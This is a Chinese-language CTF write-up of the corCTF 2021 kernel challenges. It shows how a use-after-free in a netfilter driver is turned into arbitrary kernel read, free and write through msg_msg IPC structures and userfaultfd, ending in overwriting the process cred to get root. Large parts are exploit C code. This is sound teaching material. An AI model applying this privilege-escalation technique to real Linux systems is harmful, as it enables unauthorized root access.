<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】Linux內核中利用msg_msg結構實現任意地址讀寫

    VSole2021-09-07 18:00:00

    題目及exp下載 —— https://github.com/bsauce/CTF/tree/master/corCTF%202021

    介紹:本文示例是來自corCTF 2021中 的兩個內核題,由 BitsByWill 和 D3v17 所出。針對UAF漏洞,漏洞對象從kmalloc-64kmalloc-4096,都能利用 msg_msg 結構實現任意寫。本驅動是基于NetFilter所寫,有兩個模式,簡單模式(對應題目Fire_of_Salvation)和復雜模式(對應題目Wall_of_Perdition),所用的內核bzImage相同。二者的區別是,簡單模式下,rule_t 規則結構包含長度 0x800 的字符串成員 rule_t->desc,漏洞對象位于kmalloc-4k,復雜模式下rule_t 規則 也即漏洞對象位于kmalloc-64

    總結:如果UAF的漏洞對象是kmalloc-4096,就很容易構造重疊的漏洞對象和msg_msg結構消息塊(都位于kmalloc-4096),篡改msg_msg->m_tsmsg_msg->next實現任意地址讀寫

    如果UAF的漏洞對象小于kmalloc-4096,例如kmalloc-64,則可以先構造重疊的漏洞對象和msg_msg結構消息塊(都位于kmalloc-64),篡改msg_msg->m_tsmsg_msg->next實現越界讀任意地址讀;然后篡改msg_msg->next實現任意地址釋放,再構造重疊的消息塊(位于kmalloc-4096msg_msgseg消息和msg_msg消息),利用userfault用戶頁錯誤處理控制消息寫入的時機,篡改msg_msg->next指針指向cred地址,實現任意地址寫

    注意,調用msgrcv()讀取內核數據時,如果帶上MSG_COPY標志,就能避免內核unlink消息,以避免第一次泄露地址時未正確偽造msg_msg->m_list.nextmsg_msg->m_list.prev導致unlink時崩潰。

    緩解機制開啟 CONFIG_SLAB_FREELIST_RANDOM 機制后,就能阻止該利用,但其實 CONFIG_SLAB_FREELIST_RANDOM 只能降低第2題泄露地址的成功率,但是泄露失敗后程序會停止,泄露成功后程序會提權成功,所以多試幾次就能提權成功了。

    1. 漏洞分析

    代碼分析:共5個函數功能,用戶通過傳入 user_rule_t 結構來創建路由規則并存入 rule_t 結構中,多條進出處理規則分別存入 firewall_rules_in 和 firewall_rules_out 全局數組中(每個數組最多存0x80條規則)。

    firewall_add_rule()——添加一條規則。rule_t 規則結構如下。

    typedef struct{    char iface[16];            // 設備名    char name[16];            // 規則名    uint32_t ip;    uint32_t netmask;    uint16_t proto;            // 只能是 TCP 或 UDP    uint16_t port;    uint8_t action;            // 只能是 DROP 或 ACCEPT    uint8_t is_duplicated;    #ifdef EASY_MODE    char desc[DESC_MAX];    #endif} rule_t;
    

    firewall_delete_rule()——釋放規則,并將全局數組上對應的指針清0。

    firewall_show_rule()——未實現。

    firewall_edit_rule()——編輯規則。

    firewall_dup_rule()——復制規則,將firewall_rules_in 指針復制到firewall_rules_out 數組,或者相反。每條規則只能復制一次,通過rule_t->is_duplicated來記錄是否被復制過。漏洞就在這里,可以先復制規則,再釋放規則,導致UAF或double-free,只能寫不能讀,而且只能UAF寫 0x28 – 0x30 字節

    process_rule()處理規則:(本函數與漏洞利用無關)nf_register_net_hook()——NetFilter hooks注冊鉤子函數。nf_hook_ops 是注冊的鉤子函數的核心結構。本驅動的鉤子點是NF_INET_PRE_ROUTING 和 NF_INET_POST_ROUTING,應該是分別在在路由前和路由后執行鉤子函數 firewall_inbound_hook() 和 firewall_outbound_hook() 函數。鉤子函數 firewall_inbound_hook() 和 firewall_outbound_hook() 函數在收到進出的 sk_buff 數據后,分別按照進出規則調用 process_rule() 函數來處理數據。

    首先設備名skb->dev->name 和 rule_t->ifaces 要匹配;

    如果是進數據,則源ip所屬的子網要匹配;如果是出數據,則目的ip所屬的子網要匹配;

    如果是TCP數據包,rule_t->port 要和目標端口匹配,rule_t->action 要為NF_DROP 或 NF_ACCEPT 接收狀態,打印信息。

    如果是UDP數據包,rule_t->port 要和目標端口匹配,rule_t->action 要為NF_DROP 或 NF_ACCEPT 接收狀態,打印信息。

    漏洞:只能UAF寫 0x28 – 0x30 字節,不能UAF讀,因為沒有實現firewall_show_rule()功能。

    保護機制:SMAP/SMEP/KPTI, FG-KASLRSLAB_RANDOMSLAB_HARDENEDSTATIC_USERMODE_HELPER。使用SLAB分配器。可以從給出的配置文件中看出,允許userfaultfd 調用、hardened_usercopyCHECKPOINT_RESTORE

    利用局限:

    由于使用了SLAB分配器,所以chunk上沒有 freelist 指針(即便有freelist指針,也不在前0x30用戶可控的區域,可能內核把freelist指針后移了);

    FG-KASLR機制會阻礙你覆蓋內核結構上的函數指針,例如sk_buff結構中的destructor arg回調函數指針,多數不在.text前面的gadget受到影響;ROP還能用,不過必須先任意讀ksymtab泄露所在函數的地址;

    設置CONFIG_STATIC_USERMODEHELPER,使得覆蓋modprobe_pathcore_pattern的方法不再適用;physmap噴射可用,但是不穩定;綜上,繞過SMAP最直接的方法是構造任意讀,來讀取task雙鏈表,找到當前的task并覆蓋cred。

    2. 內核IPC——msgsnd()與msgrcv()源碼分析

    介紹:內核提供了兩個syscall來進行IPC通信, msgsnd() 和 msgrcv(),內核消息包含兩個部分,消息頭 msg_msg 結構和緊跟的消息數據。長度從kmalloc-64 到 kmalloc-4096。消息頭 msg_msg 結構如下所示。

    struct msg_msg {    struct list_head m_list;    long m_type;    size_t m_ts;        /* message text size */    struct msg_msgseg *next;    void *security;        // security指針總為0,因為未開啟SELinux    /* the actual message follows immediately */};
    

    2.1 msgsnd() 數據發送

    總體流程:當調用 msgsnd() 來發送消息時,調用 msgsnd() -> ksys_msgsnd() -> do_msgsnd() -> load_msg() -> alloc_msg() 來分配消息頭和消息數據,然后調用 load_msg() -> copy_from_user() 來將用戶數據拷貝進內核。

    示例:例如,如果想要發送一個包含 0x1fc8 個 A的消息,用戶態首先調用msgget() 創建消息隊列,然后調用 msgsnd()發送數據:


    [...]
    struct msgbuf{    long mtype;    char mtext[0x1fc8];} msg;
    msg.mtype = 1;memset(msg.mtext, 'A', sizeof(msg.mtext));
    qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT));msgsnd(qid, &msg, sizeof(msg.mtext), 0);
    [...]
    

    創建消息: do_msgsnd() -> load_msg() -> alloc_msg() 。總結,如果消息長度超過0xfd0,則分段存儲,采用單鏈表連接,第1個稱為消息頭,用 msg_msg 結構存儲;第2、3個稱為segment,用 msg_msgseg 結構存儲。消息的最大長度由 /proc/sys/kernel/msgmax 確定, 默認大小為 8192 字節,所以最多鏈接3個成員。

    static struct msg_msg *alloc_msg(size_t len){    struct msg_msg *msg;    struct msg_msgseg **pseg;    size_t alen;
        alen = min(len, DATALEN_MSG);                             // [1] len 是用戶提供的數據size,本例中為0x1fc8。DATALEN_MSG = ((size_t)PAGE_SIZE - sizeof(struct msg_msg)) = 0x1000-0x30 = 0xfd0。本例中 alen = 0xfd0    msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT); // [2] 這里分配 0x1000 堆塊,對應 kmalloc-4096    if (msg == NULL)        return NULL;
        msg->next = NULL;    msg->security = NULL;
        len -= alen;                                             // [3] 待分配的size,繼續分配,用單鏈表存起來。len = 0x1fc8-0xfd0 = 0xff8    pseg = &msg->next;    while (len > 0) {        struct msg_msgseg *seg;
            cond_resched();
            alen = min(len, DATALEN_SEG);                         // [4] DATALEN_SEG = ((size_t)PAGE_SIZE - sizeof(struct msg_msgseg)) = 0x1000-0x8 = 0xff8。alen = 0xff8        seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT); // [5] 還是分配 0x1000,位于kmalloc-4096        if (seg == NULL)            goto out_err;        *pseg = seg;                                         // [6] 單鏈表串起來        seg->next = NULL;        pseg = &seg->next;        len -= alen;    }
        return msg;
    out_err:    free_msg(msg);    return NULL;}
    

    拷貝消息: do_msgsnd() -> load_msg() -> copy_from_user() 。將消息從用戶空間拷貝到內核空間。


    struct msg_msg *load_msg(const void __user *src, size_t len){    struct msg_msg *msg;    struct msg_msgseg *seg;    int err = -EFAULT;    size_t alen;
        msg = alloc_msg(len);                         // [1]    if (msg == NULL)        return ERR_PTR(-ENOMEM);
        alen = min(len, DATALEN_MSG);    if (copy_from_user(msg + 1, src, alen))     // [2] 從用戶態拷貝數據,0xfd0字節        goto out_err;
        for (seg = msg->next; seg != NULL; seg = seg->next) {        len -= alen;        src = (char __user *)src + alen;        alen = min(len, DATALEN_SEG);        if (copy_from_user(seg + 1, src, alen)) // [3] 剩下的拷貝到其他segment,0xff8字節            goto out_err;    }
        err = security_msg_msg_alloc(msg);    if (err)        goto out_err;
        return msg;
    out_err:    free_msg(msg);    return ERR_PTR(err);}
    

    內核消息結構

    2.2 msgsrv() 數據接收

    總體流程: msgrcv() -> ksys_msgrcv() -> do_msgrcv() -> find_msg() & do_msg_fill() & free_msg()。調用 find_msg() 來定位正確的消息,將消息從隊列中unlink,再調用 do_msg_fill() -> store_msg() 來將內核數據拷貝到用戶空間,最后調用 free_msg() 釋放消息。

    long ksys_msgrcv(int msqid, struct msgbuf __user *msgp, size_t msgsz,         long msgtyp, int msgflg){    return do_msgrcv(msqid, msgp, msgsz, msgtyp, msgflg, do_msg_fill);}
    static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,           long (*msg_handler)(void __user *, struct msg_msg *, size_t)){        // 注意:msg_handler 參數實際指向 do_msg_fill() 函數    int mode;    struct msg_queue *msq;    struct ipc_namespace *ns;    struct msg_msg *msg, *copy = NULL;    DEFINE_WAKE_Q(wake_q);    ... ...    if (msgflg & MSG_COPY) {        if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))            return -EINVAL;        copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax)); // [4]        if (IS_ERR(copy))            return PTR_ERR(copy);    }    mode = convert_mode(&msgtyp, msgflg);
        rcu_read_lock();    msq = msq_obtain_object_check(ns, msqid);    ... ...    for (;;) {        struct msg_receiver msr_d;
            msg = ERR_PTR(-EACCES);        if (ipcperms(ns, &msq->q_perm, S_IRUGO))            goto out_unlock1;
            ipc_lock_object(&msq->q_perm);
            /* raced with RMID? */        if (!ipc_valid_object(&msq->q_perm)) {            msg = ERR_PTR(-EIDRM);            goto out_unlock0;        }
            msg = find_msg(msq, &msgtyp, mode);     // [1] 調用 find_msg() 來定位正確的消息。之后檢查并unlink消息。        if (!IS_ERR(msg)) {            /*             * Found a suitable message.             * Unlink it from the queue.             */            if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {                msg = ERR_PTR(-E2BIG);                goto out_unlock0;            }            /*             * If we are copying, then do not unlink message and do             * not update queue parameters.             */            if (msgflg & MSG_COPY) {                msg = copy_msg(msg, copy);         // [5] 若設置了MSG_COPY,則跳出循環,避免unlink                goto out_unlock0;            }
                list_del(&msg->m_list);            ... ...    }
    out_unlock0:    ipc_unlock_object(&msq->q_perm);    wake_up_q(&wake_q);out_unlock1:    rcu_read_unlock();    if (IS_ERR(msg)) {        free_copy(copy);        return PTR_ERR(msg);    }
        bufsz = msg_handler(buf, msg, bufsz);     // [2] 調用 do_msg_fill() 把消息從內核拷貝到用戶。具體代碼如下所示    free_msg(msg);                             // [3] 拷貝完成后,釋放消息。
        return bufsz;}
    

    消息拷貝: do_msg_fill() -> store_msg() 。和創建消息的過程一樣,先拷貝消息頭(msg_msg結構對應的數據),再拷貝segment(msg_msgseg結構對應的數據)。

    static long do_msg_fill(void __user *dest, struct msg_msg *msg, size_t bufsz){    struct msgbuf __user *msgp = dest;    size_t msgsz;
        if (put_user(msg->m_type, &msgp->mtype))        return -EFAULT;
        msgsz = (bufsz > msg->m_ts) ? msg->m_ts : bufsz;     // [1] 檢查請求的數據長度是否大于 msg->m_ts ,超過則只能獲取 msg->m_ts 長度的數據(為了避免越界讀)。本例中,msgsz 為0x1fc8字節,    if (store_msg(msgp->mtext, msg, msgsz))             // [2] 最后調用 store_msg()將 msgsz也即0x1fc8字節拷貝到用戶空間,代碼如下所示        return -EFAULT;    return msgsz;}
    int store_msg(void __user *dest, struct msg_msg *msg, size_t len){    size_t alen;    struct msg_msgseg *seg;
        alen = min(len, DATALEN_MSG);                 // [1] 和創建消息的過程一樣,alen=0xfd0    if (copy_to_user(dest, msg + 1, alen))         // [2] 先拷貝消息頭        return -1;
        for (seg = msg->next; seg != NULL; seg = seg->next) { // [3] 遍歷其他segment        len -= alen;        dest = (char __user *)dest + alen;        alen = min(len, DATALEN_SEG);             // [4] 本例中為0xff8        if (copy_to_user(dest, seg + 1, alen))     // [5] 再拷貝segment            return -1;    }    return 0;}
    

    消息釋放:store_msg() 。先釋放消息頭,再釋放segment。

    void free_msg(struct msg_msg *msg){    struct msg_msgseg *seg;
        security_msg_msg_free(msg);
        seg = msg->next;    kfree(msg);              // [1] 釋放 msg_msg    while (seg != NULL) {     // [2] 釋放 msg_msgseg        struct msg_msgseg *tmp = seg->next;
            cond_resched();        kfree(seg);         // [3]        seg = tmp;    }}
    

    MSG_COPY:見 do_msgrcv() 中 [4]處,如果用flag MSG_COPY來調用 msgrcv() (內核編譯時需配置CONFIG_CHECKPOINT_RESTORE選項,默認已配置),就會調用 prepare_copy() 分配臨時消息,并調用 copy_msg() 將請求的數據拷貝到該臨時消息(見 do_msgrcv() 中 [5]處)。在將消息拷貝到用戶空間之后,原始消息會被保留,不會從隊列中unlink,然后調用free_msg()刪除該臨時消息,這對于利用很重要。

    為什么?因為本漏洞在第一次UAF的時候,沒有泄露正確地址,所以會破壞msg_msg->m_list雙鏈表指針,unlink會觸發崩潰。本題的UAF會破壞前16字節,如果某漏洞可以跳過前16字節,是否不需要注意這一點?

    void *memdump = malloc(0x1fc8);
    msgrcv(qid, memdump, 0x1fc8, 1, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
    

    3. Fire of Salvation 簡單模式利用

    特點:大小為kmalloc-4096的UAF。

    任意讀hardened_usercopy 機制不允許修改size越界讀寫。可利用UAF篡改msg_msg->m_tsmsg_msg->next(指向的下一個segment前8字節必須為null,避免遍歷消息時出現訪存崩潰)。

    任意寫:創建一個需要多次分配堆塊的消息(>0xfd0),在拷貝消息頭(msg_msg結構)的時候利用userfault進行掛起,然后利用UAF篡改msg_msg->next指向目標地址,目標地址的前8字節必須為NULL(避免崩潰),解除掛起后就能實現任意寫。任意寫的原理如下圖所示:

    3.1 步驟1——泄露內核基址

    泄露內核基址:由于開啟了FG-KASLR,只能噴射大量shm_file_data對象(kmalloc-32)來泄露地址,因為FG-KASLR是在boot時對函數和某些節進行二次隨機化,而shm_file_data->ns這種指向全局結構的指針不會被二次隨機化。我們可以傳入消息來分配1個kmalloc-4096的消息頭和1個kmalloc-32的segment,然后利用UAF改大msg_msg->m_ts,調用msgrcv()讀內存,這樣就能越界讀取多個kmalloc-32結構,泄露地址。注意,需使用MSG_COPY flag避免unlink時崩潰。原理如下圖所示:

    3.2 步驟2——泄露cred地址

    泄露cred地址:再次利用任意讀,從init_task開始找到當前進程的task_struct(也可以調用 prctl SET_NAME來設置comm成員,以此標志來暴搜,詳見 Google CTF Quals 2021 Fullchain writeup)。本題提供了vmlinux符號信息,task_struct->tasks偏移是0x398,該位置的前8字節為null,可以當作1個segment;real_credcred指針在偏移0x538和0x540處,前面8字節也是null。利用UAF改大msg_msg->m_ts,將msg_msg->next改為&task_struct+0x298-8,調用msgrcv()讀內存

    3.3 步驟3——篡改cred & real_cred指針

    篡改cred & real_cred指針:根據pid找到當前進程后,利用UAF篡改msg_msg->next指向&real_cred-0x8,調用msgsnd()寫內存,即可將real_credcred指針替換為init_cred即可提權。

    4. Wall of Perdition 復雜模式利用

    特點:大小為kmalloc-64的UAF。

    現有的任意寫、任意釋放技術: Four Bytes of Power: Exploiting CVE-2021-26708 in the Linux kernel 中介紹了如何偽造msg_msg->m_ts來實現任意寫,也通過msg_msg->security指針實現了任意釋放,但是本題關閉了SELinux,則msg_msg->security指針總是指向NULL,本題不適用。

    4.1 步驟1——越界讀泄露內核基址、msg_msg->m_list.next / prev

    創建2個消息隊列

    [...]
    void send_msg(int qid, int size, int c){    struct msgbuf    {        long mtype;        char mtext[size - 0x30];    } msg;
        msg.mtype = 1;    memset(msg.mtext, c, sizeof(msg.mtext));
        if (msgsnd(qid, &msg, sizeof(msg.mtext), 0) == -1)    {        perror("msgsnd");        exit(1);    }}
    [...]
    // [1] 先調用msgget()創建兩個隊列,第一個標記為QID #0,第二個標記為QID #1。if ((qid[0] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1){    perror("msgget");    exit(1);}
    if ((qid[1] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1){    perror("msgget");    exit(1);}
    // [2] 調用 add_rule() 向firewall_rules_in添加inbound規則,再調用 duplicate_rule() 復制到 firewall_rule_out,釋放后還能從 firewall_rule_out[1] 訪問,觸發UAFadd_rule(0, buff, INBOUND);duplicate_rule(0, INBOUND);delete_rule(0, INBOUND);
    send_msg(qid[0], 0x40, 'A'); // [3] 調用send_msg(),也即對msgsnd()的包裝函數,分配3個消息。第1個大小為0x40, 位于隊列 QID #0, 由于和剛剛釋放的rule位于同一個kmalloc-64,所以能修改該消息的msg_msg頭結構。send_msg(qid[1], 0x40, 'B'); // [4] 第2個消息在隊列QID #1中,大小為0x40字節send_msg(qid[1], 0x1ff8, 0); // [5] 第3個消息在隊列QID #1中,大小為0x1ff8字節
    [...]
    

    消息布局: QID #0 消息隊列——橘色部分是第1個消息,堆塊大小0x40,可通過 edit_rule() 完全控制。 QID #1消息隊列——第1個消息,堆塊大小為0x40,其 msg_msg->m_list.prev 指向消息隊列 QID #1m_list.next指向第2個消息,占兩個kmalloc-4096

    泄露內存利用UAF改大 QID #0 隊列的消息msg_msg->m_ts,調用msgrcv()越界讀取 QID #0 隊列的第1個消息,m_list.next (指向下一個消息 kmalloc-4096)和 m_list.prev (指向QID #1隊列),最后我們還能泄露 sysfs_bin_kfops_ro,由于該符號位于內核的data節,所以不受FG-KASLR保護的影響,所以可以用來計算內核基址。

    [...]
    void *recv_msg(int qid, size_t size){    void *memdump = malloc(size);
        if (msgrcv(qid, memdump, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR) == -1)    {        perror("msgrcv");        return NULL;    }
        return memdump;}
    [...]
    uint64_t *arb_read(int idx, uint64_t target, size_t size, int overwrite){    struct evil_msg *msg = (struct evil_msg *)malloc(0x100);
        msg->m_type =  0;    msg->m_ts = size;                         // [2] 調用edit_rule()覆蓋目標對象的 m_ts 域
        if (overwrite)    {        msg->next = target;        edit_rule(idx, (unsigned char *)msg, OUTBOUND, 0);    }    else    {        edit_rule(idx, (unsigned char *)msg, OUTBOUND, 1); // [3]    }
        free(msg);
        return recv_msg(qid[0], size);             // [4] 調用 recv_msg(),也即msgrcv()的包裝函數,注意使用 MSG_COPY flag, 就能泄露內存。由于我們破壞了 m_list.next 和 m_list.prev 指針,所以如果不使用 MSG_COPY flag 的話,do_msgrcv() 就會 unlink message,導致出錯崩潰。}
    [...]
    uint64_t *leak = arb_read(0, 0, 0x2000, 0); // [1] 調用 arb_read(), 參數0x2000
    [...]
    

    4.2 步驟2——越界讀到任意讀,泄露當前進程的cred地址

    思路:根據sysfs_bin_kfops_ro 地址可計算出內核基址,得到init_task的地址,即系統執行的第一個進程的 task_struct 結構。 task_struct 中有3個成員很重要:tasks 包含指向前后 task_struct的指針(偏移0x298),pid 進程號(偏移0x398),cred 進程的憑證(偏移0x540)。

    exp中,我們調用 find_current_task() 來遍歷所有的task [1],從init_task開始找到當前進程的task_struct [2],find_current_task()多次調用 arb_read()利用UAF篡改msg_msg->m_ts 和msg_msg->next指針,調用msgrcv()泄露出指向下一個task的tasks->next指針 [3] 和 PID [4],然后直到找到當前task。

    [...]
    uint64_t find_current_task(uint64_t init_task){    pid_t pid, next_task_pid;    uint64_t next_task;
        pid = getpid();
        printf("[+] Current task PID: %d", pid);    puts("[*] Traversing tasks...");
        leak = arb_read(0, init_task + 8, 0x1500, 1) + 0x1f9;    next_task = leak[0x298/8] - 0x298;
        leak = arb_read(0, next_task + 8, 0x1500, 1) + 0x1f9;    next_task_pid = leak[0x398/8];
        while (next_task_pid != pid)             // [2]    {        next_task = leak[0x298/8] - 0x298;     // [3]        leak = arb_read(0, next_task + 8, 0x2000, 1) + 0x1f9;        next_task_pid = leak[0x398/8];         // [4]    }
        puts("[+] Current task found!");
        return next_task;}
    [...]
    puts("[*] Locating current task address...");uint64_t current_task = find_current_task(init_task); // [1]printf("[+] Leaked current task address: 0x%lx", current_task);
    [...]
    

    具體:篡改 msg_msg->m_ts 為0x2000,篡改 msg_msg->next指針指向 task_struct結構(注意頭8字節為null),遍歷雙鏈表直到讀取到當前進程的task_struct。同理泄露當前進程的cred地址。

    [...]
    leak = arb_read(0, current_task, 0x2000, 1) + 0x1fa;cred_struct = leak[0x540/8];printf("[+] Leaked current task cred struct: 0x%lx", cred_struct);
    [...]
    

    4.3 步驟3——任意釋放

    目標:目前已獲取當前進程的task地址和cred地址,需構造任意寫,但前提需要構造任意釋放。根本目標是構造重疊的kmalloc-4096堆塊,讓其既充當一個消息的msg_msgseg segment,又充當另一個消息的msg_msg,這樣就能覆寫msg_msg->next指針構造任意寫。問題,為什么不構造重疊的kmalloc-64?因為kmalloc-64作為msg_msg的話不可能有segment,不能偽造它的msg_msg->next來任意寫;且傳入的長度已確定,無法寫segment來任意寫。

    釋放消息:首先釋放QID #1中的消息,兩次調用msgrcv()(不帶MSG_COPY flag)。

    (1)第一次調用 msgrcv(),內核釋放QID #1中第1個消息-kmalloc-64

    (2)第二次調用 msgrcv(),內核釋放第2個消息-kmalloc-4096和相應的segment(也在kmalloc-4096中)。

    [...]
    msgrcv(qid[1], memdump, 0x1ff8, 1, IPC_NOWAIT | MSG_NOERROR); // [1]msgrcv(qid[1], memdump, 0x1ff8, 1, IPC_NOWAIT | MSG_NOERROR); // [2]
    [...]
    

    內存布局如下:

    kmalloc-4096釋放順序:注意,前面的exp中,我們泄露了kmalloc-4096的地址(QID #1 中消息2的msg_msg地址),前面我們第2次調用msgrcv()時,內核調用 do_msgrcv() -> free_msg() 先釋放 kmalloc-4096msg_msg,再釋放kmalloc-4096的segment,由于后進先出,分配新的消息時會先獲取segment對應的kmalloc-4096,所以新的msg_msg占據之前的segment,新的segment占據之前的msg_msg

    申請消息-QID #2:子線程創建新消息,首先創建隊列QID #2 [2],再調用msgsnd()創建0x1ff8大小的消息(0x30的頭和0x1fc8的數據),內核中會創建0x30+0xfd0大小的msg_msg0x8+0xff8大小的msg_msgseg

    用戶傳入數據位于page_1 + PAGE_SIZE - 0x10,使用 userfaultfd 來監視 page_1 + PAGE_SIZE 位置,等待頁錯誤,第2個頁錯誤。當load_msg()調用copy_from_user()拷貝時觸發頁錯誤,結果如下圖所示,現在我們已知新的segment地址(QID #1 中消息2的msg_msg地址),原因已經闡明。QID #2 布局如下圖所示:

    [...]
    void *allocate_msg1(void *_){    printf("[Thread 1] Message buffer allocated at 0x%lx", page_1 + PAGE_SIZE - 0x10);
        if ((qid[2] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) // [2] 創建隊列 QID #2     {        perror("msgget");        exit(1);    }
        memset(page_1, 0, PAGE_SIZE);    ((unsigned long *)(page_1))[0xff0 / 8] = 1;
        if (msgsnd(qid[2], page_1 + PAGE_SIZE - 0x10, 0x1ff8 - 0x30, 0) < 0) // [3] 調用msgsnd() 創建0x1ff8大小的消息,新的`msg_msg`占據之前的segment,新的segment占據之前的`msg_msg`。    {        puts("msgsend failed!");        perror("msgsnd");        exit(1);    }
        puts("[Thread 1] Message sent, *next overwritten!");}
    [...]
    pthread_create(&tid[2], NULL, allocate_msg1, NULL); // [1] 子線程創建新消息
    [...]
    

    任意釋放:調用arb_free(),偽造QID #0隊列中的消息結構,并釋放 QID #0 中的消息。

    [...]
    void arb_free(int idx, uint64_t target){    struct evil_msg *msg = (struct evil_msg *)malloc(0x100);    void *memdump = malloc(0x2000);
        msg->m_list.next = queue;         // [2] 指向 QID #1    msg->m_list.prev = queue;    msg->m_type =  1;    msg->m_ts = 0x10;    msg->next = target;             // [3] 下一個segment指向QID #1隊列中的segment
        edit_rule(idx, (unsigned char *)msg, OUTBOUND, 0);             // [4] 修改 QID #0 中的消息頭結構
        puts("[*] Triggering arb free...");    msgrcv(qid[0], memdump, 0x10, 1, IPC_NOWAIT | MSG_NOERROR); // [5] 釋放 QID #0 中的消息    puts("[+] Target freed!");
        free(memdump);    free(msg);}
    [...]
    arb_free(0, large_msg);             // [1]
    [...]
    

    [2]:我們用之前泄露的 QID #1 隊列的地址,來修復 QID #0 中的 msg_msg->m_list.next 和 msg_msg->m_list.prev ,這樣我們就能調用 msgrcv() 釋放 QID #0 中的消息,不用 MSG_COPY flag 也能避免內核unlink時崩潰。

    [3]:使msg_msg->next指向之前泄露的message slab,也就是現在的QID #2消息的segment ;

    [4]:調用 edit_rule() 修改 msg_msg 頭結構后,堆布局如下:

    [5]:不帶 MSG_COPY flag 調用 msgrcv(),內核將會調用free_msg()釋放 QID #0 中的消息和 new segment。

    4.4 步驟4——任意寫,篡改cred

    思路:現在 QID #2中的msg_msg->next指向一個空閑的kmalloc-4096 (上一步利用任意釋放原語所釋放)。現在分配新消息占據該kmalloc-4096,即可通過QID #2篡改新消息的msg_msg->next實現任意寫。

    [...]
    void *allocate_msg2(void *_){    printf("[Thread 2] Message buffer allocated at 0x%lx", page_2 + PAGE_SIZE - 0x10);
        if ((qid[3] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) // [2] 創建隊列 QID #3    {        perror("msgget");        exit(1);    }
        memset(page_2, 0, PAGE_SIZE);    ((unsigned long *)(page_2))[0xff0 / 8] = 1;
        if (msgsnd(qid[3], page_2 + PAGE_SIZE - 0x10, 0x1028 - 0x30, 0) < 0) // [3] 分配0x1028字節的消息(0x30頭 + 0xff8數據),內核中會分配1個 `0x30+0xfd0` 的消息塊(和之前任意釋放的segment位于同一塊)和1個`0x8+0x28`字節的segment(位于`kmalloc-64`)。    {        puts("msgsend failed!");        perror("msgsnd");        exit(1);    }
        puts("[Thread 2] Message sent, target overwritten!");}
    [...]
    pthread_create(&tid[3], NULL, allocate_msg2, NULL);     // [1] 創建子線程執行allocate_msg2()
    [...]
    

    [2]:創建隊列 QID #3

    [3]:調用msgsend() 分配0x1028字節的消息(0x30頭 + 0xff8數據),內核中會分配1個 0x30+0xfd0 的消息塊(和之前任意釋放的segment位于同一塊)和1個0x8+0x28字節的segment(位于kmalloc-64)。

    用戶傳入數據位于page_2 + PAGE_SIZE - 0x10,使用 userfaultfd 來監視 page_2 + PAGE_SIZE 位置,等待頁錯誤,第2個頁錯誤。觸發頁錯誤時,堆布局如下:

    篡改QID #3 中msg_msg->next指針:釋放第1個錯誤處理,將QID #3中的msg_msg->next指針,篡改為當前進程的cred-0x8(因為segment的頭8字節必須為null,避免load_msg()訪問next segment時崩潰)。

    [...]
            if (page_fault_location == page_1 + PAGE_SIZE)        {            printf("[PFH 1] Page fault at 0x%lx", page_fault_location);            memset(buff, 0, PAGE_SIZE);
                puts("[PFH 1] Releasing faulting thread");
                struct evil_msg *msg = (struct evil_msg *)(buff + 0x1000 - 0x40);
                msg->m_type =  0x1;            msg->m_ts = 0x1000;            msg->next = (uint64_t)(cred_struct - 0x8); // [1] 將 QID #3 中的 msg_msg->next 指針,篡改為當前進程的 cred-0x8
                ufd_copy.dst = (unsigned long)(page_fault_location);            ufd_copy.src = (unsigned long)(&buff);            ufd_copy.len = PAGE_SIZE;            ufd_copy.mode = 0;            ufd_copy.copy = 0;
                for (;;)            {                if (release_pfh_1)                {                    if (ioctl(ufd, UFFDIO_COPY, &ufd_copy) < 0)                    {                        perror("ioctl(UFFDIO_COPY)");                        exit(1);                    }
                        puts("[PFH 1] Faulting thread released");                    break;                }            }        }
    [...]
    

    篡改cred:釋放第2個錯誤處理,將當前進程的cred覆蓋為0,最終提權。

    參考

    corCTF 2021 Fire of Salvation Writeup: Utilizing msg_msg Objects for Arbitrary Read and Arbitrary Write in the Linux Kernel

    [corCTF 2021] Wall Of Perdition: Utilizing msg_msg Objects For Arbitrary Read And Arbitrary Write In The Linux Kernel

    wall_of_perdition_exploit.c

    linux系統seg
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    當企業發生網絡安全事件時,急需第一時間進行處理,使企業的網絡信息系統在最短時間內恢復正常工作,同時還需進一步查找入侵來源,還原入侵事故過程,給出解決方案與防范措施,為企業挽回或減少經濟損失。 常見的網絡安全事件:
    前言最近一段時間在研究Android加殼和脫殼技術,其中涉及到了一些hook技術,于是將自己學習的一些hook技術進行了一下梳理,以便后面回顧和大家學習。主要是進行文本替換、宏展開、刪除注釋這類簡單工作。所以動態鏈接是將鏈接過程推遲到了運行時才進行。
    一、Docker逃逸 1、docker daemon api未授權訪問 漏洞原理:在使用docker swarm的時候,節點上會開放一個TCP端口2375,綁定在0.0.0.0上,如果我們使用HTTP的方式訪問會返回404 利用思路:通過掛在宿主機的目錄,寫定時任務獲取SHELL,從而逃逸。
    文中使用的示例代碼可以從 這里 獲取。的功能是在終端打印出hello這6個字符(包括結尾的?編譯它們分別生成libtest.so和?存在嚴重的內存泄露問題,每調用一次say_hello函數,就會泄露1024字節的內存。
    CVE-2019-10999 是 Dlink IP 攝像頭的后端服務器程序 alphapd 中的一個緩沖區溢出漏洞,漏洞允許經過身份認證的用戶在請求 wireless.htm 時,傳入 WEPEncryption 參數一個長字符串來執行任意代碼。
